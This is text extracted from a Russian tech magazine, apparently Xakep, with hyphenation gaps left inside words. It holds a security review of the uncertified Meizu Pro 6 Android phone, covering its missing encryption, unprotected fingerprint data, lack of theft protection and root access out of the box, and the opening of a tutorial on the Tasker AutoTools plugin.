чиком  отпе чат ков  паль цев,  неадек ватной  защитой  от  краж
и root‐дос тупом из короб ки.

Пред ложение  устрой ств  под  управле нием  опе раци онной  сис темы  Android
пре выша ет  вооб ражение.  Поль зовате лям  дос тупен  выбор  из  нес коль ких
сотен акту аль ных моделей. Выбор ста новит ся еще шире, если обра тить вни ‐
мание на экзо тичес кие устрой ства из Китая.

Мы  уже  неод нократ но  писали  о  китай ских  смар тфо нах;  сегод няшняя
статья — не о том или не сов сем о том. Мы погово рим о неоче вид ной вещи,
которая  есть  прак тичес ки  на  каж дом  смар тфо не  под  управле нием  Android,
но о которой ник то и никог да не задумы вает ся, — о сер тифика ции устрой ств
и про шивок Google и о том, что имен но ее наличие, а еще важ нее — отсутс ‐
твие дает поль зовате лю.

СЕРТИФИКАЦИЯ УСТРОЙСТВ ОТ GOOGLE
Как извес тно, опе раци онная сис тема Android дос тупна в виде исходных кодов
и рас простра няет ся совер шенно бес плат но. Любой поль зователь, раз работ ‐
чик, про изво дитель име ет пра во на пол ностью закон ных осно вани ях вос поль ‐
зовать ся  наработ ками  Google  и  соб рать  собс твен ную  вер сию  Android
без еди ного цен та вып лат в адрес Google или кого бы то ни было еще. Более
того,  Google  готова  защищать  про изво дите лей  от  патен тных  нападок,  если
таковые  слу чат ся;  осо бен но  ярко  это  выража ется  в  недав но  зак лючен ном
основны ми про изво дите лями Android догово ра PAX о кросс‐лицен зирова нии
патен тов.

Щед рым пред ложени ем Google вос поль зовалось бес числен ное количес ‐
тво  про изво дите лей  как  в  Китае  (где  сер висы Google,  как  мы  пом ним,  зап ‐
рещены), так и за его пре дела ми. Одна ко «чис тый» Android — это не сов сем
то,  что  пред став ляет  себе  боль шинс тво  поль зовате лей.  В  «чис том»  Android
не  будет  такой  полез ной  вещи,  как  служ бы  Google.  Они  вклю чают  в  себя
далеко не толь ко Play Store, который дает дос туп к огромной биб лиоте ке при ‐
ложе ний  и  кон тента. В  кон це  кон цов, магази нов  при ложе ний — море  и  без
магази на от Google мож но прин ципи аль но обой тись. В сер висы Google вклю ‐
чают ся  и  такие  вещи,  как  энер гоэф фектив ная  дос тавка  push‐уве дом лений
в  режиме  реаль ного  вре мени,  служ бы  опре деле ния  коор динат  и  исто рия
мес тополо жения,  а  так же  мощ ней шее  кар тогра фичес кое  при ложе ние  на  их
осно ве,  эффектив ная  сис тема  облачной  син хро низа ции  и  резер вно го
копиро вания.

Все эти сер висы так же дос тупны про изво дите лям совер шенно бес плат но,
но — при соб людении опре делен ных усло вий. Для того что бы получить пра во
уста нав ливать  на  свои  устрой ства  при ложе ния  Google,  про изво дите ли  дол ‐
жны  под писать  кон тракт MADA,  который  нак ладыва ет  на  про изво дите ля  ряд
обя затель ств.  В  час тнос ти,  про изво дитель  обя зует ся  точ но  сле довать  пра ‐
вилам, опи сан ным в  , а  так же отдать
окон чатель ный вари ант устрой ства с финаль ной про шив кой на сер тифика цию
в одну из лабора торий Google.

Android Compatibility Definition Document

В  то  же  вре мя  ник то  не  зас тавля ет  про изво дите лей  занимать ся  сер ‐
тифика цией.  Ей  и  не  занима ются  боль шинс тво  китай ских  про изво дите лей,
которые тор гуют в основном в пре делах кон тинен таль ного Китая. В запад ном
мире  самый  извес тный  при мер  исполь зования  Android  без  сер висов
Google — ком пания Amazon, которая в огромных количес твах про дает план ‐
шеты линей ки Kindle Fire и прис тавки Amazon Fire TV.

Сер тифика ция  сто ит  денег,  пусть  и  отно ситель но  неболь ших:  поряд ‐
ка  10  тысяч  дол ларов  на  модель  и  еще  мень ше —  на  круп ные  обновле ния
про шив ки. Сер тифика ция отни мает вре мя. Еще боль ше вре мени у про изво ‐
дите ля может занять устра нение най ден ных на эта пе сер тифика ции недора ‐
боток и несов мести мос тей.

Нас коль ко  имен но  сер тифика ция  Google  может  задер жать  выход  новой
вер сии про шив ки, мож но пред ста вить по двум при мерам. Так, для телефо нов
Lenovo  ZUK  Z2  китай ская  (без  сер висов Google  и  сер тифика ции)  про шив ка
на  осно ве  Android  7.0  выш ла  в  фев рале  2017‐го,  а  сер тифици рован ную
для  Индии  обе щают  не  рань ше  кон ца  мая.  Дру гой  при мер  —  ком пания
Xiaomi, «гло баль ные» про шив ки которой час то выходят с опоз дани ем поряд ка
четырех месяцев отно ситель но их же китай ских сбо рок.

По мимо денеж ных и вре мен ных зат рат на сер тифика цию Google, про изво ‐
дите ли вынуж дены идти и на дру гие жер твы. Так, им при ходит ся обес печивать
дол жный  уро вень  безопас ности  устрой ства  сог ласно  тре бова ниям  все  того
же  Android  Compatibility  Definition  Document.  Эти  тре бова ния  ужес точа ются
с  выходом  каж дой  новой  вер сии  Android.  К  при меру,  для  Android  5.x  никак
не рег ламен тирова лось исполь зование дат чика отпе чат ков паль цев — но уже
для Android 6.0 к реали зации биомет ричес кой аутен тифика ции при меня лись
впол не  чет кие  тре бова ния. Дру гой при мер — шиф рование раз дела дан ных,
которое ста ло обя затель ным для всех про изво дите лей, выпус кающих устрой ‐
ства  с  Android  6.0  на  бор ту.  Начиная  с  Android  7  Google  пыта ется  регули ‐
ровать и внеш ний вид про шивок, огра ничи вая полет фан тазии дизай неров (к
при меру, штор ку уве дом лений про изво дите ли теперь дол жны реали зовы вать
стан дар тно, а не «как в iPhone, толь ко кра сивей»).

Са мо  собой  разуме ется,  что  сер тифици рован ные  устрой ства  дол жны
в пол ной мере обес печивать кор рек тную работу сер висов Google. Под чер кну:
всех сер висов Google, а не толь ко поис ка и магази на.

СЕРТИФИКАЦИЯ GOOGLE В КИТАЙСКИХ СМАРТФОНАХ
Для  мно гих  китай ских  про изво дите лей  тре бова ния  к  сер тифика ции  Google
кажут ся обу зой. В то же вре мя им при ходит ся уста нав ливать сер висы Google
на устрой ствах, которые они офи циаль но про дают за пре дела ми Китая: поль ‐
зователь  прос то  не  пой мет  устрой ства,  на  котором  не  будет  при выч ного
магази на Google Play.

Про изво дите ли реша ют эту проб лему по‐раз ному. К при меру, у ком пании
Xiaomi  есть  устрой ства,  пред назна чен ные  толь ко  для  внут ренне го  рын ка.
Для таких устрой ств никог да не выпус кают про шив ки с сер висами Google; они
не про ходят сер тифика ции. У ком пании так же есть устрой ства, которые про ‐
дают ся и за пре дела ми Китая. Для них выходят так называ емые «гло баль ные»
про шив ки, час то с боль шой задер жкой. Эта катего рия про шивок сер тифици ‐
рует ся и на офи циаль ных осно вани ях вклю чает в себя сер висы Google.

По хожим  обра зом  пос тупа ет  Lenovo  со  сво им  суб брен дом  ZUK.  ZUK
Z1 про давал ся как в Китае, так и по все му миру; для него было дос тупно две
вет ки  про шивок,  китай ская  и  гло баль ная. Модель  ZUK  Z2  офи циаль но  дос ‐
тупна в Китае и Индии, и если для Китая пред лага ются сугубо китай ские про ‐
шив ки,  то  для  рын ка  Индии  раз рабаты вает ся  совер шенно  отдель ная,  сер ‐
тифици рован ная про шив ка, в которую вхо дят сер висы Google и в которой нет
типич ных  для  китай ской  вер сии  проб лем  (нап ример,  с  при ходом  уве дом ‐
лений).

Ком пания  LeEco  пос тупа ет  схо жим  обра зом,  парал лель но  раз рабаты вая
про шив ки  для  китай ско го  и  внеш них  рын ков.  Если  в  «меж дународ ных»  вер ‐
сиях устрой ств LeEco по умол чанию акти виро вано шиф рование раз дела дан ‐
ных, а работа дат чика отпе чат ков паль цев реали зова на в стро гом соот ветс ‐
твии  с  Android Compatibility  Definition Document,  то  в  «китай ских»  про шив ках
шиф рование  отклю чено,  а  дат чик  отпе чат ков  работа ет  как  попало  (дан ные
отпе чат ков не шиф руют ся и дос тупны сра зу пос ле «холод ной» заг рузки).

Сей час же в нашу лабора торию попал любопыт ней ший экзем пляр: смар ‐
тфон Meizu Pro 6, который офи циаль но рас простра няет ся на запад ном рын ке
(свой экзем пляр мы заказа ли в Amazon, который — что немало важ но — про ‐
дает  их  самос тоятель но,  а  не  через  пос редни ков).  Устрой ство  работа ет
под управле нием пос ледней  гло баль ной вер сии Flyme OS 5.2.4.0G,  которая
уста нав лива ется на телефо ны для меж дународ ного рын ка.

Meizu Pro 6

При том что Meizu Pro 6 про дает ся на тер ритории Рос сии и Евро пы, у телефо ‐
на  нет  сер тифика ции  Google.  Сер тифика ции  нет,  а  магазин  Google  Play —
есть.  Уже одно это нас силь но  заин тересо вало,  и мы при обре ли экзем пляр
для тес тирова ния.

Ав тор статьи в кур се, что на тот же Meizu мож но уста новить и китай ский вари ‐
ант  про шив ки,  дорабо тать  его  напиль ником  и  получить  работос пособ ные
замес тители  сер висов  Google  в  виде  служб,  завязан ных  на  Flyme  Account.
Но  цель  статьи  дру гая.  Наша  цель  —  пос мотреть  на  то,  что  пред лага ется
обыч ным поль зовате лям, что называ ется, «из короб ки».

GOOGLE ЕСТЬ. СЕРТИФИКАЦИИ — НЕТ. ЧЕМ ЭТО ГРОЗИТ
ПОЛЬЗОВАТЕЛЮ?
Итак,  поль зователь  покупа ет  телефон  —  нап ример,  Meizu  Pro  6.  Воп росы
сер тифика ции  Google  его  не  вол нуют,  да  и  не  дол жны.  Более  того,  подав ‐
ляющее боль шинс тво поль зовате лей вооб ще не задумы вает ся о самом фак ‐
те сущес тво вания подоб ных сер тифика ций. Устрой ство работа ет из короб ки?
Магазин Google Play есть? Вро де бы боль ше ничего и не нуж но.

На самом деле нет.
Рас смот рим  про цесс  началь ной  нас трой ки  смар тфо на  под  управле нием

Android.  Запус кает ся  стан дар тный  мас тер  акти вации,  который  пред лага ет
выб рать  язык,  про сит  под клю чить ся  к  сети  Wi‐Fi,  обновля ет  ком понен ты
Google Services, про веря ет сос тояние Factory Reset Protection (мы уже писали
об  этом  в  статье  «

»), про сит ввес ти дан ные учет ной записи Google Account. Если устрой ство
было  сбро шено  «неп равиль но»,  без  пред варитель ной  отвязки  от  учет ной
записи  Google,  то  необ ходимо  ввес ти  дан ные  той  учет ной  записи,  которая
исполь зовалась  на  устрой стве  в  качес тве  основной  непос редс твен но
перед сбро сом. Двух фактор ная аутен тифика ция, авто мати чес кое вос ста нов ‐
ление  нас тро ек,  при ложе ний  и  дан ных  из  облачной  резер вной  копии  —
и через какое‐то вре мя у тебя в руках телефон, которым мож но поль зовать ся.

Как  взла мыва ют  защиту  от  сбро са  к  завод ским  нас трой ‐
кам

Что про исхо дит, ког да мы акти виру ем телефон Meizu? Китай ская ком пания
не  захоте ла  про ходить  сер тифика цию,  но  и  про давать  телефо ны  без  сер ‐
висов Google за пре дела ми Китая она  тоже не смо жет. В резуль тате в  ком ‐
пании при дума ли спо соб, как обма нуть Google, а заод но и поль зовате лей.

Итак, при нас трой ке Meizu Pro 6 нас встре чает что‐то похожее на стан дар ‐
тный мас тер нас трой ки. Пос ле выбора язы ка зап рашива ется пароль от Wi‐Fi,
пред лага ется  завес ти  учет ную  запись Meizu. И… и  всё. Поль зователь  сра зу
попада ет  на  рабочий  стол.  Но  где  магазин  при ложе ний?  Его  нет.  Вмес то
него — китай ский магазин при ложе ний (его не мог ло бы быть на устрой стве,
если бы оно было сер тифици рова но: отсутс твие аль тер натив ных источни ков
при ложе ний — одно из тре бова ний MADA). Впро чем, момен таль но появ ляет ‐
ся пред ложение ска чать и уста новить пакет сер висов Google. Сог ласив шись
на пред ложение, поль зователь  (а вов се не Meizu!) самос тоятель но уста нав ‐
лива ет сер висы Google на телефон — точ но так же, как он мог бы это сде лать
в слу чае с любым дру гим китай ским устрой ством.

И вот у поль зовате ля на рабочем сто ле появи лась завет ная икон ка Google
Play. Казалось бы, проб лема решена. В  кон це  кон цов,  какая раз ница,  каким
имен но обра зом про изво дитель  уста нав лива ет магазин Google на  телефон,
если им мож но поль зовать ся? И здесь начина ется самое инте рес ное.

РЕЗЕРВНЫЕ КОПИИ. ИЛИ НЕТ
Во‐пер вых,  ник то  осо бо  не  тес тировал  про шив ку  на  сов мести мость  с  сер ‐
висами  Google.  Нет,  китай цы  навер няка  запус тили  Play  Store  и  уста нови ли
из него нес коль ко при ложе ний, но о каком‐либо сис темати чес ком тес тирова ‐
нии и речи не идет. В резуль тате в пер вые же минуты поль зования телефо ном
ста ло  понят но,  что  весь  мощ ный  механизм  облачно го  резер вно го  копиро ‐
вания Google Backup Transport нерабо тос пособен.

Google Backup не работа ет

Что это зна чит на прак тике? Все го‐нав сего то, что одно из основных пре иму ‐
ществ Android 6.0 — авто мати чес кое резер вное копиро вание и авто мати чес ‐
кое  же  вос ста нов ление  дан ных  —  ста новит ся  недос тупным.  (В  скоб ках
заметим,  что  и  вто рое  основное  пре иму щес тво  Android  6.0,  режим  Doze,
в дан ном телефо не тоже работать не хочет.)

Ос тановим ся  на  этом  под робнее.  Поль зовате ли,  у  которых  на  телефо не
уста нов лены десят ки и сот ни при ложе ний (к при меру, у меня их 163), вынуж ‐
дены  будут  убить  нес коль ко  часов,  уста нав ливая  при ложе ния  из  магази на,
а  потом  еще  столь ко  же —  вос ста нав ливая  их  нас трой ки.  Все  пароли Wi‐Fi
нуж но будет  вво дить  заново. Не вос ста новят ся дан ные о  звон ках,  не ста нут
дос тупны ми  сооб щения,  получен ные  на  пре дыду щем  устрой стве.  Если
телефон будет сбро шен — все при дет ся уста нав ливать и нас тра ивать заново,
как  это  было  во  вре мена  Android  4.x  (уже  в  пятой  вер сии  появи лась  воз ‐
можность вос ста новить спи сок уста нов ленных при ложе ний). А ког да нас танет
пора сме нить смар тфон, на новом устрой стве тоже понадо бит ся все нас тра ‐
ивать заново. По нашему мне нию, это совер шенно неп рием лемо. Впро чем,
для некото рых поль зовате лей это не ста нет боль шим недос татком.

Вмес то стан дар тно го механиз ма резер вно го копиро вания в Meizu пре дус ‐
мотре ли  свой,  работа ющий  в  рам ках  одно го  устрой ства.  Дан ные  из  внут ‐
ренней  памяти  телефо на  сох раня ются  в  резер вную  копию  в  собс твен ном
фор мате, которая соз дает ся… во внут ренней памяти телефо на. Пожалуй, мы
не будем ком менти ровать осо бен ности такого под хода к резер вно му копиро ‐
ванию.  В  китай ских  вер сиях  про шив ки  дос тупно  резер вное  копиро вание
в обла ко, точ но так же оно работа ет и на устрой ствах под управле нием Flyme.

https://source.android.com/compatibility/cdd.html
https://xakep.ru/2016/11/28/hack-smartphone-reset-factory-settings/
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ШИФРОВАНИЕ ДАННЫХ
Мы  решили  про верить,  акти виро вано  ли  в  телефо не  шиф рование  дан ных,
как того тре бует Android Compatibility Definition Document. И не смог ли: пункт
«шиф рование» прос то отсутс тву ет в нас трой ках. Соот ветс твен но, «обыч ный»
поль зователь  не  получит  никакой  защиты  дан ных  вооб ще:  как  извес тно,
без  шиф рования  дан ные  из  телефо на  спе циалис ты  извле кают  в  счи таные
минуты, а нес пеци алис ты — пос ле нес коль ких часов чте ния форумов.

При  этом  Android  Compatibility  Definition  Document  не  допус кает  двой ных
тол кований:  устрой ства,  которые  выходят  с  Android  6.0  на  бор ту  и  которые
отве чают  минималь ным  тре бова ниям  про изво дитель нос ти  (а  им  отве чают
даже  бюд жетни ки),  обя заны  пол ностью  зашиф ровывать  раз дел  дан ных
к момен ту, ког да мас тер началь ной нас трой ки окон чит работу. Увы, здесь —
про вал.

Объ ективнос ти  ради  отме тим,  что шиф рование —  базовая  воз можность
Android и выб росить ее с кон цами не так и прос то. Так что диалог, поз воля ‐
ющий акти виро вать шиф рование, с помощью intent нам выз вать уда лось.

Шиф рование дан ных не вклю чено

Да же  по  внеш нему  виду  скрин шота  понят но,  нас коль ко  эта фун кция  далека
от  того,  что бы  предъ явить  ее  поль зовате лям.  Акти виро вать  шиф рование
в таком виде мы не рис кну ли.

БЕЗОПАСНОСТЬ ДАННЫХ ОТПЕЧАТКА ПАЛЬЦЕВ
Android  Compatibility  Definition  Document  для  шес той  вер сии  Android  чет ко
опре деля ет  механиз мы  безопас ности,  которые  допус тимо  исполь зовать
для  биомет ричес кой  аутен тифика ции  по  дат чику  отпе чат ка  паль цев.
При вклю чении устрой ства дан ные, которые исполь зует дат чик, дол жны быть
зашиф рованы  вплоть  до  момен та  раз бло киро вания  телефо на  с  помощью
PIN‐кода,  пат терна  или  пароля.  Соот ветс твен но,  пос ле  вклю чения
или  перезаг рузки  телефон  необ ходимо  спер ва  раз бло киро вать  с  помощью
пароля, и толь ко потом акти виру ется дат чик отпе чат ков.

К  сожале нию,  общий  под ход  китай ских  про изво дите лей  к  безопас ности
мож но однознач но выразить сло вом «нап левать». Отсутс твие сер тифика ции
Google  поз воля ет  изоб ретать  самые  изощ ренные  спо собы  обой ти  сис темы
безопас ности  Android,  в  том  чис ле  и  сис тему  дак тилос копичес кой  аутен ‐
тифика ции.

Для того что бы телефон получил сер тифика цию Google, ком пания тре бует
точ ного сле дова ния спе цифи каци ям Android Compatibility Definition Document.
В  отли чие  от  тре бова ний  к  шиф рованию,  которые  при меня ются  толь ко
к  устрой ствам,  выпущен ным  с  Android  6.0  на  бор ту,  тре бова ния  к  дат чикам
отпе чат ков паль цев еди ны как для устрой ств, вышед ших с Android 6.0 на бор ‐
ту,  так и для  тех,  которые получа ют Android 6.0 в  виде обновле ния. Сла бые,
небезо пас ные решения прос то не прой дут сер тифика цию.

Что  дела ет  Meizu?  Устрой ство  не  сер тифици рова но  Google,  а  зна чит,
и  сле довать  каким‐то  тре бова ниям  совер шенно  не  нуж но.  Дан ные  дат чика
отпе чат ков  не  зашиф рованы  и  никак  не  защище ны,  а  раз бло киро вать
телефон отпе чат ком паль цев мож но сра зу пос ле вклю чения. Впро чем, в све ‐
те  гло баль ного  отсутс твия  шиф рования  раз дела  дан ных  это  —  мел кая
шалость, прос то еще одна дыра в решете.

FACTORY RESET PROTECTION: ЗАЩИТА ОТ КРАЖИ
Factory  Reset  Protection —  важ ный  механизм,  который  не  толь ко  поз воля ет
поль зовате лю уда лен но бло киро вать укра ден ные устрой ства, но и спо собен
помешать вору акти виро вать устрой ство пос ле сбро са к завод ским нас трой ‐
кам. Наибо лее совер шенна реали зация дан ного механиз ма у Apple: в устрой ‐
ствах  под  управле нием  iOS  обой ти  защиту  от  сбро са,  реали зуемую  через
при вяз ку к учет ной записи iCloud, мож но толь ко неп ростым вме шатель ством
в  аппа рат ную  часть.  Само  наличие  подоб ной  защиты  уже  замет но  сни жает
чис ло краж телефо нов.

В Google так же реали зован механизм для защиты от кра жи. Если сбро сить
телефон  к  завод ским  нас трой кам,  для  его  акти вации  пот ребу ется  ввес ти
пароль от пос ледней учет ной записи, которая исполь зовалась в устрой стве.
Да, этот механизм несовер шенен, но это луч ше, чем ничего.

В  слу чае  с  Meizu  Pro  6  (по  край ней  мере  его  «гло баль ной»  вер сии)  нет
даже  такой  защиты.  Из  всех  пун ктов,  которые  мог ли  бы  иметь  отно шение
к Factory Reset Protection, мы наш ли толь ко загадоч ную опцию, под писан ную
на ломаном англий ском: «Verify phone number when change phones». И сно ва:
в китай ских вер сиях про шивок Meizu пред лага ет собс твен ную, нес тандар тную
реали зацию защиты от сбро са к завод ским нас трой кам, а так же собс твен ную
реали зацию сер виса Find My Device, поз воля ющую дис танци онно обна ружить
и заб локиро вать укра ден ное устрой ство.

По чему мы все вре мя пишем об отсутс твии той или иной воз можнос ти, если
«за углом», в китай ской про шив ке, есть их пол ные или поч ти пол ные ана логи?
Прос то  потому,  что  мы  верим  в  стан дарти зацию.  Нам  удоб но,  ког да  все ми
устрой ства ми  мож но  управлять  из  единс твен ного  мес та.  Мы  при вык ли,  что
устрой ства  авто мати чес ки  сох раня ют  резер вные  копии  в  обла ко  и  вос ста ‐
новить их  на  любой новый смар тфон  (осо бо под чер кнем — от  любого про ‐
изво дите ля,  лишь  бы  работал  с  Android  6  или  выше)  будет  делом  от  силы
получа са —  тоже  в  авто мати чес ком  режиме.  Мы  при вык ли  к  безопас ности
дан ных, всег да вклю чаем шиф рование дан ных и очень расс тра иваем ся, ког да
его нет. Мы при вык ли к бес перебой ной и без шаман ских пля сок работе уве ‐
дом лений. Наконец, мы доверя ем наши пер сональ ные дан ные Google и точ но
зна ем,  при  каких  усло виях  наши  дан ные  могут  быть  выданы  по  зап росу
государс твен ных орга нов, — но  вов се не  уве рены,  что доверя ем  китай ским
про изво дите лям и китай ско му пра витель ству.

ДОБРО ПОЖАЛОВАТЬ: ROOT-ДОСТУП ИЗ КОРОБКИ
Ви шен ка на тор те — root‐дос туп пря мо из короб ки. Пожалуй, на этом мес те
мож но оста новить ся и прек ратить ана лиз сис темы безопас ности Meizu Pro 6.

Root из короб ки

РЕАКЦИЯ GOOGLE
Meizu  выкати ли  проб ный шар,  попытав шись  обой ти  пра вила  игры,  уста нов ‐
ленные на рын ке смар тфо нов Google. Надо полагать, мно гие китай ские про ‐
изво дите ли  с  инте ресом  сле дили  за  раз вити ем  событий.  Что  пред при мет
Google?

На ивным  было  бы  полагать,  что  в  Google  не  заметят  попыт ки  обой ти
MADA. В кон це прош лого года пос ледова ла реак ция. В Play Store появи лась
малоза мет ная над пись, которая показы вает, сер тифици рова но ли устрой ство
для исполь зования сер висов Google или нет.

Play Store сооб щает об отсутс твии сер тифика ции устрой ства

Сра зу пос ле появ ления про вер ка сер тифика ции работа ла из рук  вон пло хо:
даже  собс твен ные  устрой ства Google  Pixel  час то  опре деля лись  как  «несер ‐
тифици рован ные».  Впро чем,  с  набором  ста тис тики  ситу ация  ста ла  стре ‐
митель но вып равлять ся, и на текущий момент лож ные положи тель ные и лож ‐
ные отри цатель ные сра баты вания слу чают ся куда реже, чем преж де.

Что Google собира ется делать с этой информа цией? Точ но не зна ет ник то.
Может быть, корот кой над писью в нас трой ках Google Play все и огра ничит ся.
Воз можно, поль зовате лям при нас трой ке устрой ства будет показа но уве дом ‐
ление о том, что работа сер висов Google на дан ном устрой стве не гаран тиру ‐
ется. Для боль шинс тва про изво дите лей — уже дос таточ ный повод при заду ‐
мать ся.

Ес ли же попыт ки китай ских ком паний обой ти MADA при обре тут замет ные
мас шта бы, мы допус каем воз можность и более решитель ных шагов со сто ‐
роны  Google  —  к  при меру,  у  поль зовате ля  может  и  не  получить ся  зай ти
в  учет ную  запись  с  несер тифици рован ного  устрой ства;  не  будет  дос тупа
к куп ленным при ложе ниям, не будет син хро низа ции поч ты, кален дарей и кон ‐
тактов.  Впол не  веро ятно,  что  поль зовате ли,  стол кнув шиеся  с  такими  ошиб ‐
ками  на  новом  устрой стве,  прос то  захотят  его  вер нуть,  что  дол жно  нанес ти
пря мой  ущерб  про изво дите лям  и  зас тавить  их  наконец  сер тифици ровать
свои устрой ства. В воз можность подоб ного сце нария сла бо верит ся — ведь
в таком слу чае попадут под удар и поль зовате ли кас томных про шивок и сбо ‐
рок, — но все будет зависеть от того, нас коль ко силь но китай ские про изво ‐
дите ли будут стре мить ся обой ти сог лашения Google и нас коль ко серь езной
Google соч тет угро зу.

ПРЕДВАРИТЕЛЬНЫЙ ИТОГ
Под ведем ито ги. Чего имен но нет в несер тифици рован ной про шив ке и на что
поль зовате лю сто ит обра тить вни мание? Итак:

Нет воз можнос ти шиф рования дан ных (кста ти, нет его и на китай ских вер ‐
сиях про шивок для ZUK Z2).

•

Нет ни резер вно го копиро вания в обла ко Google, ни воз можнос ти вос ста ‐
новить отту да дан ные (и сно ва — в китай ских про шив ках ZUK Z2 будет то
же самое).

•

Не безо пас ная реали зация дат чика отпе чат ков паль цев.•
Не  реали зова на  защита  от  кра жи  методом  Factory  Reset  Protection
от  Google  (воз можен  эрзац  от  про изво дите ля  с  неиз вес тной  сте пенью
работос пособ ности и надеж ности).

•

Проб лемы с получе нием push‐уве дом лений.•
За то есть root‐дос туп из короб ки.•

Из плю сов несер тифици рован ных про шивок мож но отме тить более высокую
(в теории) ско рость выхода таких про шивок: не будет допол нитель ного эта па,
свя зан ного  с  сер тифика цией. На  прак тике  Android  7.0  для Meizu  Pro  6  пока
нет.

ЗАКЛЮЧЕНИЕ
Се год ня  мы  рас смот рели  некото рые  осо бен ности  несер тифици рован ных
про шивок, при чем рас смот рели их в основном с точ ки зре ния безопас ности.
Воп росы о  сов мести мос ти  при ложе ний,  сво евре мен ной дос тавке push‐уве ‐
дом лений  и  мно гие  дру гие  вещи,  которые  отно сят ся  ско рее  к  удобс тву
исполь зования  устрой ства,  чем  к  его  безопас ности,  оста лись  за  рам ками
дан ной  статьи.  Воз можно,  мы  еще  вер немся  к  опи санию  осо бен ностей
китай ских про шивок, но глав ный вывод мы уже сде лали: китай ские про шив ки
силь но отли чают ся от про шивок, сер тифици рован ных Google, в пер вую оче ‐
редь  отно шени ем  к  безопас ности.  Отсутс твие  шиф рования  и  даже  воз ‐
можнос ти  его  вклю чить,  без гра мот ная  реали зация  раз бло киро вания  дат ‐
чиком отпе чат ков паль цев, неадек ватная защита от краж, отсутс твие стан дар ‐
тно го  механиз ма  резер вно го  копиро вания  и  вос ста нов ления,  наличие  root‐
дос тупа  из  короб ки  —  вот  основные  «пре лес ти»  про шивок,  не  про шед ших
через лабора торию Google.
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Как  дума ешь,  смо жешь  ли  ты  за  пять минут  сво ими  руками
сде лать  сис тему  защиты  Android‐при ложе ний  с  помощью
отпе чат ка  паль ца?  А  прев ратить  смар тфон  в  прог рамми ‐
руемый  свай ппад  для  управле ния  музыкой  в  авто моби ле?
Или  сис тему  рас позна вания  тек стов  с  авто мати чес кой
отправ кой дан ных в обла ко? Все это и мно гое дру гое мож но
реали зовать  бук валь но  на  колен ке  с  помощью  сис темы
авто мати зации   и мощ ней шего пла гина AutoTools.Tasker

AutoTools — детище одно го  из  самых извес тных  акти вис тов  «Тас кера»,  пор ‐
тугаль ско го  раз работ чика  Жуана  Диаса  (João  Dias),  написав шего  не  один
десяток пла гинов. Но если дру гие его пла гины выпол няли стро го опре делен ‐
ные фун кции, то AutoTools — эта кий швей цар ский армей ский нож на все слу ‐
чаи жиз ни.

Пе речень его воз можнос тей вклю чает в себя: работу с мас сивами, диало ‐
ги  в  сти ле  Material  Design,  прос мотр  дан ных  о  сетевых  под клю чени ях,
фонарик,  управле ние жес тами,  чте ние и  запись JSON,  чте ние логов Android
(logcat),  рас позна вание  тек ста,  работу  с  сен сорами,  работу  с  регуляр ными
выраже ниями, всплы вающие уве дом ления, виб рацию и мно гое дру гое. И все
это без прав root.

УСТАНАВЛИВАЕМ
Пла гин мож но най ти в  . Пос ле уста нов ки откры ваем его и акти виру ‐
ем 30‐днев ный  три ал. Это го  точ но  хва тит,  что бы оце нить  воз можнос ти пла ‐
гина и решить, сто ит ли его покупать.

Play Store

Пол ная  вер сия  сто ит  2,99  дол лара  и  при обре тает ся  через  AutoApps  —
агре гатор со все ми про гами, аль фа‐ и бета‐вер сиями дру гих пла гинов авто ‐
ра. В самой про ге боль ше ничего не нас тра ивает ся, но есть ссыл ки на инс ‐
трук ции  и  при меры  исполь зования.  Все  вза имо дей ствие  тра дици онно  про ‐
исхо дит внут ри самого «Тас кера».

AutoTools  —  это  так  называ емый  Action‐пла гин.  Это  зна чит,  что  сам  он
не  про дуци рует  события,  на  которые  может  реаги ровать  Tasker,  но  может
отве чать  на  события.  Работа ет  это  так:  ты  соз даешь  новый  про филь  Tasker,
выбира ешь  кон текст  (вре мя,  дей ствие,  под клю чение  к Wi‐Fi  или  любое дру ‐
гое), а ког да Tasker пред лага ет соз дать для него задачу (Task), вво дишь имя
задачи, затем нажима ешь плюс, выбира ешь Plugin, затем AutoTools и нуж ный
раз дел в выпада ющем спис ке, нап ример Flashlight.

Ни же  я  при веду  нес коль ко  при меров  исполь зования  AutoTools
для решения самых раз ных задач.

При ложе ние AutoTools и выбор дей ствия в «Тас кере»

Про филь (Profile) — основная еди ница в Tasker. Пред став ляет собой усло ‐
вие/кон текст (Если…/If…) и реак цию на него (То сде лай…/Then do…).

•

Кон текст (Context) — то, на что надо реаги ровать.•
За дача (Task) — набор дей ствий, которые необ ходимо совер шить. Мож но
соз давать без при вяз ки к про филю и, прис воив икон ку, запус кать в любое
вре мя с рабоче го сто ла.

•

Дей ствие (Action) — еди нич ный шаг внут ри задачи. Нап ример, вык лючить
Wi‐Fi.

•

Сос тояние (State) — раз новид ность кон тек ста. Име ет дли тель ность. Пока
сос тояние активно, про филь дей ству ет.

•

Со бытие  (Event)  —  раз новид ность  кон тек ста.  При  нас тупле нии  события
про филь сра баты вает один раз.

•

Про ект  (Project)  —  нес коль ко  сгруп пирован ных  для  удобс тва  про филей,
находя щих ся на одной вклад ке.

•

ВСПЛЫВАЮЩИЕ УВЕДОМЛЕНИЯ С ТОНКОЙ НАСТРОЙКОЙ
Фун кция  Toast  показы вает  прод винутые  всплы вающие  уве дом ления  с  раз ‐
личны ми нас трой ками.

Соз даем дей ствие Plugin → AutoTools → Toast и нас тра иваем кон фигура ‐
цию, как душе угод но. Если пос тавить галоч ку на Use HTML, мож но раз мечать
сооб щения  тегами. Нас тра ивают ся  цвет  тек ста,  раз мер  тек ста, шрифт  (ука ‐
зыва ется путь до  ttf‐фай ла), цвет бэк гра унда, икон ка и ее раз мер, зак ругле ‐
ния,  положе ние  сооб щения.  Как  в  ито ге  это  смот рится  и  чем  отли чает ся
от стан дар тно го Alert — Flash, мож но уви деть на при мерах ниже.

Стан дар тный Flash и Toast из набора AutoTools

СМАРТФОН В КАЧЕСТВЕ ТАЧПАДА ДЛЯ УПРАВЛЕНИЯ
ВОСПРОИЗВЕДЕНИЕМ МУЗЫКИ В АВТОМОБИЛЕ
В AutoTools есть фун кция Gestures Screen. Она соз дает чер ный экран с под ‐
дер жкой свай пов, на которые мож но повесить коман ды. Смысл здесь доволь ‐
но прос той — прев ратить смар тфон в сво его рода прог рамми руемый тач пад.

Для  при мера  соз дадим про филь,  который  при  запус ке музыки  в машине
через  Bluetooth  будет  показы вать  чер ный  экран  (акту аль но  для  AMOLED‐
экра нов), поз воля ющий управлять вос про изве дени ем при помощи свай пов.

Для  это го  сна чала  необ ходимо  отсле дить  перемен ную,  которая  сиг ‐
